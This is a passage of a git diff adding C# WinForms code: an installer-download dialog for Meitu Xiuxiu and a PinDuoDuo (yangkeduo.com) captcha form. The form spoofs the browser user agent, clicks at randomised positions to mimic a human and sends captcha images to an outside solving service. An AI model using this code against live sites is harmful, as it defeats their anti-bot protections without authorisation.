msg.tableLayoutPanel2.ColumnStyles.Clear(); + msg.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(SizeType.Percent, 50F)); + msg.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + msg.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + msg.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(SizeType.Percent, 50F)); + + msg.labelX1.Text = text; + + for (int i = 0; i < btnStrArr.Length; i++) + { + ButtonX btnX = new ButtonX(); + msg.tableLayoutPanel2.Controls.Add(btnX, i + 1, 0); + btnX.Text = btnStrArr[i]; + btnX.Dock = DockStyle.Fill; + + btnX.AccessibleRole = AccessibleRole.PushButton; + btnX.ColorTable = eButtonColor.OrangeWithBackground; + btnX.Size = new Size(btnX.Text.Length * 16, 23); + btnX.Style = eDotNetBarStyle.StyleManagerControlled; + } + msg.StartPosition = FormStartPosition.CenterScreen; + //msg.TopMost = true; + msg.ShowDialog(); + + return clickBtnText; + } + + private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) + { + + } + + static string sourceFile = "http://xiuxiu.dl.meitu.com/xiuxiu_setup.exe"; + static string desFile = ""; + public static void DownloadFileNoReturn() + { + if (DownloadFile()) + { + msg.Invoke(new Action(() => + { + var btn = msg.tableLayoutPanel2.Controls[0] as ButtonX; + btn.Text = "安装美图秀秀"; + })); + } + } + + static bool isDownload = false; + /// 下载文件方法 + /// 文件保存路径和文件名 + /// 返回服务器文件名 + public static bool DownloadFile() + { + isDownload = true; + + if (sourceFile == "" || desFile == "") + { + isDownload = false; + return false; + } + + bool flag = false; + long SPosition = 0; + FileStream FStream = null; + Stream myStream = null; + string fileName = sourceFile.Substring(sourceFile.LastIndexOf(@"/") + 1); + if (desFile.EndsWith("\\")) + { + desFile = desFile + fileName; + } + else + { + desFile = desFile + "\\" + fileName; + } + try + { + long serverFileLength = GetHttpLength(sourceFile); + msg.Invoke(new Action(() => + { + msg.progressBarX1.Maximum = 100; + msg.progressBarX1.Visible = true; + })); + + //判断要下载的文件夹是否存在 + if (File.Exists(desFile)) + { + //打开上次下载的文件 + FStream = File.OpenWrite(desFile); + //获取已经下载的长度 + SPosition = FStream.Length; + if (SPosition == serverFileLength) + { + //文件是完整的,直接结束下载任务 + msg.Invoke(new Action(() => + { + msg.progressBarX1.Value = 100; + })); + isDownload = false; + return true; + } + FStream.Seek(SPosition, SeekOrigin.Current); + } + else + { + //文件不保存创建一个文件 + FStream = new FileStream(desFile, FileMode.Create); + SPosition = 0; + } + //打开网络连接 + HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create(sourceFile); + if (SPosition > 0) + { + myRequest.AddRange(SPosition); //设置Range值 + } + //向服务器请求,获得服务器的回应数据流 + myStream = myRequest.GetResponse().GetResponseStream(); + //定义一个字节数据 + byte[] btContent = new byte[512]; + int intSize = 0; + intSize = myStream.Read(btContent, 0, 512); + while (intSize > 0) + { + FStream.Write(btContent, 0, intSize); + intSize = myStream.Read(btContent, 0, 512); + + var currentPosition = FStream.Length; + msg.Invoke(new Action(() => + { + msg.progressBarX1.Value = (int)(1.0 * currentPosition / serverFileLength * 100); + })); + } + flag = true; //返回true下载成功 + } + catch (Exception ex) + { + //SysLog.WriteTxtLog("下载文件时异常:" + ex.Message); + LogSave.Add("MeituMessageDialog - 下载文件时异常:" + ex.Message); + } + finally + { + //关闭流 + if (myStream != null) + { + myStream.Close(); + myStream.Dispose(); + } + if (FStream != null) + { + FStream.Close(); + FStream.Dispose(); + } + } + isDownload = false; + return flag; + } + static long GetHttpLength(string url) + { + long length = 0; + try + { + var req = (HttpWebRequest)WebRequest.CreateDefault(new Uri(url)); + req.Method = "HEAD"; + req.Timeout = 5000; + var res = (HttpWebResponse)req.GetResponse(); + if (res.StatusCode == HttpStatusCode.OK) + { + length = res.ContentLength; + } + res.Close(); + return length; + } + catch (WebException wex) + { + return 0; + } + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.designer.cs b/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.designer.cs new file mode 100644 index 0000000..312c460 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.designer.cs @@ -0,0 +1,136 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class MeituMessageDialog + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.panel1 = new System.Windows.Forms.Panel(); + this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); + this.progressBarX1 = new DevComponents.DotNetBar.Controls.ProgressBarX(); + this.tableLayoutPanel1.SuspendLayout(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // labelX1 + // + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.Dock = System.Windows.Forms.DockStyle.Fill; + this.labelX1.Font = new System.Drawing.Font("宋体", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.labelX1.Location = new System.Drawing.Point(3, 3); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(278, 96); + this.labelX1.TabIndex = 0; + this.labelX1.Text = "labelX1"; + this.labelX1.TextAlignment = System.Drawing.StringAlignment.Center; + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.ColumnCount = 1; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Controls.Add(this.labelX1, 0, 0); + this.tableLayoutPanel1.Controls.Add(this.panel1, 0, 4); + this.tableLayoutPanel1.Controls.Add(this.progressBarX1, 0, 1); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 6; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle()); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 40F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(284, 202); + this.tableLayoutPanel1.TabIndex = 1; + this.tableLayoutPanel1.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel1_Paint); + // + // panel1 + // + this.panel1.Controls.Add(this.tableLayoutPanel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(3, 145); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(278, 34); + this.panel1.TabIndex = 2; + // + // tableLayoutPanel2 + // + this.tableLayoutPanel2.ColumnCount = 1; + this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); + this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel2.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel2.Name = "tableLayoutPanel2"; + this.tableLayoutPanel2.RowCount = 1; + this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel2.Size = new System.Drawing.Size(278, 34); + this.tableLayoutPanel2.TabIndex = 0; + // + // progressBarX1 + // + this.progressBarX1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.progressBarX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.progressBarX1.Location = new System.Drawing.Point(50, 105); + this.progressBarX1.Margin = new System.Windows.Forms.Padding(50, 3, 50, 3); + this.progressBarX1.Name = "progressBarX1"; + this.progressBarX1.Size = new System.Drawing.Size(184, 14); + this.progressBarX1.TabIndex = 3; + this.progressBarX1.Text = "progressBarX1"; + this.progressBarX1.Visible = false; + // + // MeituMessageDialog + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 202); + this.Controls.Add(this.tableLayoutPanel1); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "MeituMessageDialog"; + this.Text = "MessageDialog"; + this.tableLayoutPanel1.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private DevComponents.DotNetBar.LabelX labelX1; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; + private DevComponents.DotNetBar.Controls.ProgressBarX progressBarX1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.resx b/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.cs b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.cs new file mode 100644 index 0000000..0fbf61f --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.cs @@ -0,0 +1,1385 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.CollectClass; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class PinDuoDuoCaptchaForm : LRBaseForm + { + public static string PersonUrl = BaseClass.NewUrl+"/personal.html"; + public static string GoodsUrl = "http://yangkeduo.com/goods.html?goods_id=17252982258"; + public static string SearchUrl = "http://yangkeduo.com/search_result.html?search_key=垃圾桶"; + public static string userAgent = "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.84 Mobile Safari/537.36"; + private string pddAccessToken = string.Empty; + private string url = string.Empty; + public bool isAutoCaptcha = false; + private ChromiumWebBrowser cefWebBrowser = null; + public delegate void OnSaveComplete(TData msg); + public event OnSaveComplete onSaveComplete; + private int maxCaptchaTimes = 12; + public PinDuoDuoCaptchaForm(string token) + { + pddAccessToken = token; + InitializeComponent(); + } + + + private async void PinDuoDuoCaptchaForm_Load(object sender, EventArgs e) + { + TitleText = this.Text; + PinDuoDuoTokenInfo tokenInfo = PinduoduoProductCollect.PinDuoDuoTokenList.Where(p => p.PDDAccessToken == pddAccessToken).FirstOrDefault(); + //if (tokenInfo.SearchStatus == (int)TokenStatus.Invalid) + //{ + // url = SearchUrl; + //} + //else if (tokenInfo.ProductDetailStatus == (int)TokenStatus.Invalid) + //{ + // url = GoodsUrl; + //} + //else + //{ + // url = PersonUrl; + //} + + if (cefWebBrowser == null) + { + //cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(PinDuoDuoHelper.PinDuoDuoPersonUrl, false); + //requestHandler = new RequestHandler(); + //requestHandler.UserAgent = userAgent; + //requestHandler.ResourceLoadComplete += RequestHandler_ResourceLoadComplete; + //cefWebBrowser.RequestHandler = requestHandler; + //cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + //cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + //cefWebBrowser.FrameLoadStart += CefWebBrowser_FrameLoadStart; + //cefWebBrowser.IsBrowserInitializedChanged += CefWebBrowser_IsBrowserInitializedChanged; + //cefWebBrowser.Dock = DockStyle.Fill; + //scPinDuoDuo.Panel1.Controls.Add(cefWebBrowser); + cefWebBrowser = CreateChromiumWebBrowser("https://yangkeduo.com/personal.htm", false); + CustomResourceRequestHandler resourceRequestHandler = new CustomResourceRequestHandler(); + resourceRequestHandler.UserAgent = userAgent; + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefWebBrowser.FrameLoadStart += CefWebBrowser_FrameLoadStart; + cefWebBrowser.IsBrowserInitializedChanged += CefWebBrowser_IsBrowserInitializedChanged; + cefWebBrowser.KeyboardHandler = new CefKeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + scPinDuoDuo.Panel1.Controls.Add(cefWebBrowser); + } + else + { + await ClearCookie(); + } + if (isAutoCaptcha) + { + AutoCaptcha(); + } + //cefWebBrowser = CreateChromiumWebBrowser(url, false); + //RequestHandler requestHandler = new RequestHandler(); + //requestHandler.ResourceLoadComplete += RequestHandler_ResourceLoadComplete; + //cefWebBrowser.RequestHandler = requestHandler; + //cefWebBrowser.KeyboardHandler = new CefKeyboardHandlerOwn(); + //cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + //cefWebBrowser.Dock = DockStyle.Fill; + //scPinDuoDuo.Panel1.Controls.Add(cefWebBrowser); + //await SetCookieAsync(".yangkeduo.com", "PDDAccessToken=" + pddAccessToken, cefWebBrowser.RequestContext.GetCookieManager(null)); + } + public async Task ClearCookie() + { + //await cefWebBrowser.DeleteCookieAsync(cefWebBrowser.RequestContext.GetCookieManager(null)); + DelCookies(); + cefWebBrowser.Load("https://yangkeduo.com/personal.htm"); + } + public void DelCookies() + { + ICookieManager cookieManager = cefWebBrowser.RequestContext.GetCookieManager(null); + Task deleteTask = cookieManager.DeleteCookiesAsync("yangkeduo.com", null); + deleteTask.Wait(); + } + private void CefWebBrowser_IsBrowserInitializedChanged(object sender, EventArgs e) + { + } + private void CefWebBrowser_FrameLoadStart(object sender, FrameLoadStartEventArgs e) + { + // 使用JavaScript修改UserAgent + cefWebBrowser.GetBrowser().MainFrame.ExecuteJavaScriptAsync("navigator.__defineGetter__('userAgent', function(){ return '" + userAgent + "'});navigator.userAgent;"); + } + private void RequestHandler_ResourceLoadComplete(object sender, string url, string postData, string responseData) + { + if (url.Contains("user_verify_auth")) + { + if (responseData.Contains("\"result\":true")) + { + this.BeginInvoke(new Action(() => + { + btnSaveToken_Click(null, null); + })); + } + } + } + public CancellationTokenSource cancellationTokenSource { get; set; } + private bool isBrowserDisposed = false; + public async void AutoCaptcha() + { + //Task.Run(async () => + //{ + int captchaTimes = 0; + Dictionary moYunCaptchaHashDict = new Dictionary(); + while (true) + { + try + { + Console.WriteLine("ThreadId:" + Thread.CurrentThread.ManagedThreadId); + //if (cancellationTokenSource.IsCancellationRequested) + //{ + // return; + //} + if (captchaTimes > maxCaptchaTimes) + { + PinduoduoProductCollect.PinDuoDuoTokenList.RemoveAll(p => p.PDDAccessToken == pddAccessToken); + + TData objToken = CheckAccessToken(pddAccessToken); + PinDuoDuoTokenInfo pinDuoDuoTokenInfo = objToken.Result; + if (pinDuoDuoTokenInfo.ProductDetailStatus == (int)TokenStatus.Valid) + { + PinduoduoProductCollect.PinDuoDuoTokenList.Add(objToken.Result); + } + + cancellationTokenSource.Cancel(); + return; + } + if (isBrowserDisposed) + { + return; + } + if (cefWebBrowser.IsBrowserInitialized) + { + string html = await cefWebBrowser.GetMainFrame().GetSourceAsync(); + string url = cefWebBrowser.GetMainFrame().Url; + if (url.Contains("https://yangkeduo.com/login.html")) + { + TData objToken = CheckAccessToken(pddAccessToken); + if (objToken.Result.LoginStatus == (int)TokenStatus.Invalid) + { + cancellationTokenSource.Cancel(); + return; + } + } + else if (html.Contains("
收起
")) + { + LocationPoint locationPoint = GetElementLocationPoint(cefWebBrowser, "alert-goto-app-cancel"); + locationPoint.Left += SecurityHelper.GetRandom(10, 100); + locationPoint.Top += SecurityHelper.GetRandom(5, 30); + SimulateMouseLeftClick(cefWebBrowser.GetBrowser().GetHost(), locationPoint.Left, locationPoint.Top); + } + else if (html.Contains("聊天") && url.Contains("https://yangkeduo.com/personal.html")) + { + JavascriptResponse task = await EvaluateScriptAsync(cefWebBrowser, "document.getElementsByClassName('footer-item')[3].click();"); + } + else if (html.Contains("聊天") && url.Contains("https://yangkeduo.com/chat_list.html")) + { + JavascriptResponse task = await EvaluateScriptAsync(cefWebBrowser, "document.getElementsByClassName('footer-item')[4].click();"); + } + else if (html.Contains("点击下方“安全验证”按钮,完成拼多多官方验证")) + { + LocationPoint locationPoint = GetElementLocationPoint(cefWebBrowser, "intel-btn"); + locationPoint.Left += SecurityHelper.GetRandom(10, 100); + locationPoint.Top += SecurityHelper.GetRandom(5, 40); + SimulateMouseLeftClick(cefWebBrowser.GetBrowser().GetHost(), locationPoint.Left, locationPoint.Top); + } + else if (html.Contains("点击此圆圈内进行验证")) + { + LocationPoint locationPoint = GetElementLocationPoint(cefWebBrowser, "circle-small"); + locationPoint.Left += SecurityHelper.GetRandom(10, 50); + locationPoint.Top += SecurityHelper.GetRandom(5, 50); + SimulateMouseLeftClick(cefWebBrowser.GetBrowser().GetHost(), locationPoint.Left, locationPoint.Top); + } + else if (html.Contains("请绘制图中路径")) + { + ClickRefresh("gesture-refresh"); + } + else if (html.Contains("向右拖动滑块填充拼图") || html.Contains("拖动滑块完成上方拼图")) + { + LocationPoint locationPoint = GetElementLocationPoint(cefWebBrowser, "slider-img-bg"); + SlideCaptcha(html, locationPoint); + } + else if (html.Contains("captchaClickImg")) + { + LocationPoint locationPoint = GetElementLocationPoint(cefWebBrowser, "picture-img"); + if (html.Contains("请点击") && html.Contains("data:image/jpeg")) + { + string typeId = "10010"; + await CaptchaError(moYunCaptchaHashDict, typeId); + RandomCaptcha(locationPoint); + await Captcha(html, locationPoint, moYunCaptchaHashDict, typeId); + } + else if (html.Contains("data:image/png")) + { + string typeId = "10008"; + await CaptchaError(moYunCaptchaHashDict, typeId); + RandomCaptcha(locationPoint); + await Captcha(html, locationPoint, moYunCaptchaHashDict, typeId); + } + else + { + ClickRefresh(); + } + Thread.Sleep(1000); + } + else if (!html.Contains("data:image")) + { + cefWebBrowser.Load("https://yangkeduo.com/personal.html"); + } + captchaTimes++; + } + Thread.Sleep(2000); + } + catch (Exception ex) + { + + } + } + //}); + } + private bool isFirstCaptcha = false; + private void RandomCaptcha(LocationPoint locationPoint) + { + if (isFirstCaptcha) + { + for (int i = 1; i <= int.MaxValue; i++) + { + if (!isFirstCaptcha) + { + break; + } + SimulateMouseLeftClick(cefWebBrowser.GetBrowser().GetHost(), SecurityHelper.GetRandom(1, locationPoint.Left + locationPoint.Width), SecurityHelper.GetRandom(1, locationPoint.Top + locationPoint.Height)); + } + } + } + private string lastBase64Captcha = string.Empty; // 用来判断验证码是否刷新 + private async Task Captcha(string html, LocationPoint locationPoint, Dictionary moYunCaptchaHashDict, string typeId) + { + string elementRefresh = "document.getElementsByClassName('refresh')[0].style='display:{0}'"; + if (locationPoint.Width > 0 && locationPoint.Height > 0) + { + string base64 = GetBase64ImageString(html, "data:image/png;base64,", locationPoint); + if (string.IsNullOrEmpty(base64)) + { + base64 = GetBase64ImageString(html, "data:image/jpeg;base64,", locationPoint); + } + if (lastBase64Captcha == base64) + { + ClickRefresh(); + } + else + { + lastBase64Captcha = base64; + string text = Resove(html, "\"picture-text\">", ""); + text = ClearHtml(text); + string code = await Captcha(typeId, base64, text); + if (!string.IsNullOrEmpty(code)) + { + JObject jObj = JObject.Parse(code); + if (jObj != null) + { + if (jObj["code"].ParseToString() == "1") + { + await EvaluateScriptAsync(cefWebBrowser, string.Format(elementRefresh, "none")); + moYunCaptchaHashDict.Add(typeId, jObj["data"]["hash"].ToString().ParseToInt()); + // 识别成功,进行验证 + foreach (string point in jObj["data"]["result"].ParseToString().Split(new string[] { "|" }, StringSplitOptions.RemoveEmptyEntries)) + { + int[] captchaLocationArr = point.Split(',').Select(p => p.ParseToInt()).ToArray(); + if (cefWebBrowser.IsBrowserInitialized) + { + SimulateMouseLeftClick(cefWebBrowser.GetBrowser().GetHost(), locationPoint.Left + captchaLocationArr[0], locationPoint.Top + captchaLocationArr[1]); + } + } + Thread.Sleep(1000); + if (cefWebBrowser.IsBrowserInitialized) + { + await EvaluateScriptAsync(cefWebBrowser, string.Format(elementRefresh, "block")); + ClickRefresh(); + Thread.Sleep(500); + } + } + else + { + // 识别失败,刷新验证码 + ClickRefresh(); + } + } + } + else + { + // 识别失败,刷新验证码 + ClickRefresh(); + } + } + } + } + public async Task Captcha(string typeId, string base64Image, string text) + { + string url = BaseClass.LoginApiUrl + "?obj=api/check_code&act=my_upload"; + url += "&" + UserLogin.GetSignature(); + HttpParam httpParam = new HttpParam + { + Url = url, + PostData = string.Format("typeid={0}&check_img={1}&fujia={2}", typeId, UrlEncode(base64Image), text) + }; + string html = await PostAsync(httpParam); + return html; + } + public static string UrlEncode(string url, bool isUppercase = false) + { + if (string.IsNullOrEmpty(url)) + { + return string.Empty; + } + else + { + string encodeUrl = HttpUtility.UrlEncode(url, Encoding.UTF8); + if (isUppercase) + { + Regex reg = new Regex(@"%[a-f0-9]{2}"); + encodeUrl = reg.Replace(encodeUrl, m => m.Value.ToUpperInvariant()); + } + return encodeUrl; + } + } + private async Task CaptchaError(Dictionary moYunCaptchaHashDict, string typeId) + { + if (moYunCaptchaHashDict.ContainsKey(typeId)) + { + await CaptchaError(moYunCaptchaHashDict[typeId]); + moYunCaptchaHashDict.Remove(typeId); + } + } + public static string ClearHtml(string html) + { + html = html.ParseToString(); + html = Regex.Replace(Regex.Replace(html, @"(|||)", ""), "(<[^>]*?>)", ""); + return html; + } + public async Task CaptchaError(int hash) + { + string url = BaseClass.LoginApiUrl + "?obj=api/check_code&act=my_upload_error"; + url += "&" + UserLogin.GetSignature(); + HttpParam httpParam = new HttpParam + { + Url = url, + PostData = string.Format("hash={0}", hash) + }; + string html = await PostAsync(httpParam); + return html; + } + public static async Task PostAsync(HttpParam httpParam) + { + try + { + HttpWebRequest request = GetHttpWebRequest(httpParam); + request.Method = "Post"; + request.ServicePoint.Expect100Continue = false; + byte[] postDataByte = Encoding.UTF8.GetBytes(httpParam.PostData); + request.ContentLength = postDataByte.Length; + request.AllowAutoRedirect = false; + using (Stream requestStream = await request.GetRequestStreamAsync()) + { + requestStream.Write(postDataByte, 0, postDataByte.Length); + } + return await ReadResponseAsync(httpParam, (HttpWebResponse)request.GetResponse()); + } + catch (Exception ex) + { + + return string.Empty; + } + } + public static Stream DecompressStream(HttpWebResponse response) + { + Stream responseStream = response.GetResponseStream(); + Stream stream = null; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + stream = new GZipStream(responseStream, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + stream = new DeflateStream(responseStream, CompressionMode.Decompress); + } + if (stream == null) + { + return responseStream; + } + else + { + return stream; + } + } + public static async Task ReadResponseAsync(HttpParam httpParam, HttpWebResponse response) + { + using (Stream stream = DecompressStream(response)) + { + using (StreamReader streamReader = new StreamReader(stream, httpParam.ResponseEncoding)) + { + return await streamReader.ReadToEndAsync(); + } + } + } + + public static HttpWebRequest GetHttpWebRequest(HttpParam param) + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(param.Url); + if (param.Proxy != null) + { + request.Proxy = param.Proxy; + } + + if (!string.IsNullOrEmpty(param.UserAgent)) + { + request.UserAgent = param.UserAgent; + } + else + { + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; + } + if (!string.IsNullOrEmpty(param.Accept)) + { + request.Accept = param.Accept; + } + else + { + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + } + if (string.IsNullOrEmpty(param.AcceptLanguage)) + { + request.Headers.Add("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8"); + } + else + { + request.Headers.Add("Accept-Language", param.AcceptLanguage); + } + if (!string.IsNullOrEmpty(param.ContentType)) + { + request.ContentType = param.ContentType; + } + else + { + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + } + if (!string.IsNullOrEmpty(param.Referer)) + { + request.Referer = param.Referer; + } + request.Headers.Remove("Cookie"); + if (!string.IsNullOrEmpty(param.Cookie)) + { + request.Headers.Add("Cookie", param.Cookie); + } + if (param.Header != null) + { + foreach (KeyValuePair header in param.Header) + { + request.Headers.Add(header.Key, header.Value); + } + } + if (param.Timeout > 0) + { + request.Timeout = param.Timeout; + } + else + { + request.Timeout = 60 * 1000; + } + return request; + } + + private void ClickRefresh(string className = "refresh") + { + if (cefWebBrowser.IsBrowserInitialized) + { + LocationPoint locationPoint = GetElementLocationPoint(cefWebBrowser, className); + locationPoint.Left += SecurityHelper.GetRandom(10, 50); + locationPoint.Top += SecurityHelper.GetRandom(5, 20); + SimulateMouseLeftClick(cefWebBrowser.GetBrowser().GetHost(), locationPoint.Left, locationPoint.Top); + } + } + private string GetBase64ImageString(string html, string imagePrefix, LocationPoint locationPoint) + { + string base64Image = Resove(html, imagePrefix, "\""); + if (!string.IsNullOrEmpty(base64Image)) + { + byte[] byteArr = Convert.FromBase64String(base64Image); + byte[] byteArrScale = ConvertImageToScaleSize(byteArr, locationPoint.Width, locationPoint.Height); + string base64ImageScale = Convert.ToBase64String(byteArrScale); + return base64ImageScale; + } + return string.Empty; + } + public static string Resove(string html, string prefix, string subfix) + { + int inl = html.IndexOf(prefix); + if (inl == -1) + { + prefix = prefix.Replace("\"", "'"); + subfix = subfix.Replace("\"", "'"); + inl = html.IndexOf(prefix); + } + if (inl == -1) + { + return null; + } + inl += prefix.Length; + if (!string.IsNullOrEmpty(subfix)) + { + int inl2 = html.IndexOf(subfix, inl); + if (inl2 == -1) + { + return null; + } + string result = html.Substring(inl, inl2 - inl); + return result; + } + else + { + string result = html.Substring(inl); + return result; + } + } + public static Bitmap ByteToBitmap(byte[] byteArr) + { + TypeConverter tc = TypeDescriptor.GetConverter(typeof(Bitmap)); + Bitmap bitmap = (Bitmap)tc.ConvertFrom(byteArr); + return bitmap; + } + public static byte[] ImageToByte(Image img) + { + ImageConverter converter = new ImageConverter(); + return (byte[])converter.ConvertTo(img, typeof(byte[])); + } + public static byte[] ConvertImageToScaleSize(byte[] byteArr, int maxWidth = 0, int maxHeight = 0, bool expand = false, int quality = 100, int maxFileSize = 1024) + { + if (maxWidth == 0 && maxHeight == 0) + { + throw new Exception("宽度和高度不能同时为0"); + } + using (Bitmap bitmap = ByteToBitmap(byteArr)) + { + // Get the image's original width and height + int originalWidth = bitmap.Width; + int originalHeight = bitmap.Height; + + // To preserve the aspect ratio + float ratioX = (float)maxWidth / (float)originalWidth; + float ratioY = (float)maxHeight / (float)originalHeight; + float ratio = Math.Min(ratioX, ratioY); + if (ratio > 1) + { + // 图片像素不增大 + if (!expand) + { + return ImageToByte(bitmap); + } + } + + if (maxHeight == 0) + { + // 高度不缩放 + ratio = ratioX; + } + if (maxWidth == 0) + { + // 宽度不缩放 + ratio = ratioY; + } + + // New width and height based on aspect ratio + int newWidth = (int)(originalWidth * ratio); + int newHeight = (int)(originalHeight * ratio); + + // Convert other formats (including CMYK) to RGB. + Bitmap bitmapTemplate = new Bitmap(newWidth, newHeight, PixelFormat.Format24bppRgb); + + // Draws the image in the specified size with quality mode set to HighQuality + using (Graphics graphics = Graphics.FromImage(bitmapTemplate)) + { + graphics.CompositingQuality = CompositingQuality.HighSpeed; + graphics.InterpolationMode = InterpolationMode.Low; + graphics.SmoothingMode = SmoothingMode.HighSpeed; + graphics.DrawImage(bitmap, 0, 0, newWidth, newHeight); + + using (Image img = (Image)bitmapTemplate.Clone()) + { + ImageCodecInfo imageCodecInfo = ImageCodecInfo.GetImageDecoders().SingleOrDefault(c => 